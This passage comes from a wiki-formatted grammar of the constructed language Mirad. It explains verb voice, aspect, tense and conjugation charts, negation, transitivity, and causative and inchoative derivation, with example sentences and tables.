: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
